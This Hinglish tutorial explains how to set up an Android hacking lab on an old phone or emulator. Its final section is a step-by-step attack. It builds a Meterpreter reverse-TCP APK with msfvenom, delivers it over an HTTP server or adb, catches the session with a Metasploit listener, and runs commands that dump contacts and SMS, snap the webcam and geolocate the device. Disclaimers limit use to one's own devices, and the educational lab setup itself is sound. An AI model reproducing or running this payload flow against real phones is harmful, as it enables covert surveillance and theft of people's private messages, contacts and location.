

Build Your Own Lab – Real Phone + Emulator

Made by Syed Ghous

Ye Topic Kyun Important Hai?

Mobile hacking seekhne ke liye tumhe apna lab banana hoga.

Lab ka matlab: ek safe jagah jahan tum apne phone ko hack kar sakte ho, bina kisi ko nuksan pahunchaye.

Tumhare paas do option hain:

Real phone (purana Android phone) – best for learning

Emulator (virtual phone on laptop) – agar real phone nahi hai to ye use karo

Main dono tareeqay bata raha hoon.

Option 1: Real Phone Lab (Recommended)

Kya Chahiye?

Koi purana Android phone (Samsung, Xiaomi, Oppo, Vivo, ya koi bhi)

Android version 8, 9, 10, 11, 12 – kuch bhi chalega

Phone ki battery theek ho aur charging ho

USB cable (data transfer wali)

Step 1: Phone Ko Factory Reset Karo (Optional – agar purana phone hai to fresh start ke liye)

Phone ki Settings mein jaake → Factory Reset karo.

Yaad rakhna: reset karne se phone ka saara data delete ho jayega.

Iske baad phone setup karo (language, WiFi, etc.)

Step 2: Developer Options Aur USB Debugging On Karo

Jaao Settings → About Phone

Build Number par 7 baar tap karo

Ab Developer Options on ho gaye

Wapas jao Settings mein → System → Developer Options

USB Debugging ko ON karo

OEM Unlocking (agar dikhe to) ON karo

Step 3: Unknown Sources Allow Karo (Taake APK install kar sako)

Settings → Security → Unknown Sources → Allow kar do

Ya Android 8+ mein: jab bhi APK install karoge, phone khud poochta hai, us waqt allow kar dena

Step 4: Phone Ko Laptop Se Connect Karo (ADB Check)

Laptop mein terminal kholo aur likho:

text

adb devices

Phone par pop-up aayega "Allow USB debugging?" – Allow karo.

Ab phone list mein dikhna chahiye. Agar dikha to sahi hai.

Step 5: Apne Phone Ko Root Karo (Zaroori Nahi Hai, Lekin Full Control Ke Liye Achha Hai)

Root karne ke liye Magisk ya Kingroot use kar sakte ho.

Lekin beginners ke liye pehle bina root wala lab use karo – camera, location, SMS, contacts sab bina root ke kaam karta hai.

Root baad mein karna jab thoda expert ho jao.

Option 2: Emulator Lab (Agar Real Phone Nahi Hai)

Emulator = laptop par virtual phone. Tum real phone ki jagah ye use kar sakte ho.

Sab kuch waisa hi hai jaise real phone par, lekin thoda slow ho sakta hai.

Tool 1: Android Studio (Official Emulator)

Step 1: Android Studio Download Karo

Jaao developer.android.com/studio

Download karo (Windows / Linux / Mac ke liye)

Install karo (default settings theek hain)

Step 2: Virtual Device Create Karo

Android Studio kholo

"More Actions" → "AVD Manager" (Virtual Device Manager)

"Create Virtual Device" click karo

Koi phone select karo (Pixel 4, Pixel 5, etc.)

Android version select karo (Android 11, 12, 13 – koi bhi)

Download karo (agar pehle se nahi hai)

Next → Finish

Step 3: Emulator Start Karo

AVD Manager mein green play button (▶) press karo.
Virtual phone start ho jayega. Thoda time lagega (5-10 minutes pehli baar).

Step 4: Emulator Mein USB Debugging Enable Karo

Virtual phone mein:
Settings → About Phone → Build Number par 7 baar tap
Wapas jaake Developer Options → USB Debugging ON

Step 5: ADB Se Connect Karo (Laptop Terminal Mein)

text
adb devices
Virtual phone dikhna chahiye (jaise emulator-5554 device)

Ab tum real phone ki tarah evil.apk install kar sakte ho, commands chala sakte ho.

Tool 2: Genymotion (Fast Emulator)
Genymotion.com se free account banao

Genymotion install karo

Virtual device create karo

Start karo

USB Debugging enable karo

ADB connect hoga

Lekin Android Studio ka emulator kaafi hai beginners ke liye.

Apne Lab Mein Pehla Attack Kaise Karein? (Step-by-Step) **Maano tumne real phone ya emulator tayyar kar liya. Ab uska hack karo:**

Step 1: Payload Banao (Laptop Terminal Mein)

text
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -o
evil.apk
(IP apni laptop ki daalna – ip a se pata karo)

Step 2: Payload Ko Phone Mein Daalo For Real Phone:

Python server chalao: `python3 -m http.server 8000`

Phone browser se `http://192.168.1.5:8000/evil.apk` open karo

Download karo aur install karo

For Emulator:

`adb push evil.apk /sdcard/Download/`

Emulator mein file manager kholo, evil.apk tap karo, install karo

Step 3: Listener Chalao (Laptop Terminal Mein Doosra Tab)

text

msfconsole

use multi/handler

set payload android/meterpreter/reverse_tcp

set LHOST 192.168.1.5

set LPORT 4444

Exploit

Step 4: App Open Karo (Phone/Emulator Mein)

Install ki hui app open karo (blank screen aayegi).

Listener wali terminal mein session aa jayega.

Step 5: Commands Chalao

text

dump_contacts

dump_sms

webcam_snap

geolocate

Ab tumne apna hi lab hack kar liya.

Troubleshooting (Agar Kaam Na Kare)

Emulator start nahi ho raha:

BIOS mein virtualization enabled karo (Intel VT-x / AMD-V)

RAM zyada allocate karo (2GB minimum)

adb devices mein emulator nahi dikhta:

Emulator mein USB Debugging ON hai?

adb kill-server phir adb start-server karo

Payload install nahi ho rahi (real phone):

Unknown sources allow kiya hai?

Android 11+ mein "Install anyway" press karna padta hai

Session nahi aa raha:

Laptop aur phone ek hi network par hain?

IP sahi hai?

Firewall ne port 4444 block to nahi kiya?

Final Tips for Your Lab

Ek dedicated old phone rakho – daily use wala phone mat use karo hack karne ke liye.

Emulator mein multiple Android versions rakho – Android 8, 9, 10, 11 – taake har version par test kar sako.

Lab mein hi sab karo – kabhi bhi kisi aur ke phone par bina permission test mat karo.

Har baar fresh reset karo – agar kuch gadbad ho jaye to factory reset is the solution.

Warning (Likhna Mat Bhoolna)

Yeh lab sirf apni personal education ke liye hai. Jo tools aur commands tum seekh rahe ho, unhe sirf apne phones aur emulators par use karo. Kisi aur ke device par bina permission use karna illegal hai.

Lab Setup Complete Ho Gaya

Ab tumhare paas hai:

Real phone lab (rooted/non-rooted)

Emulator lab (Android Virtual Device)

Practice attack flow

End of topic
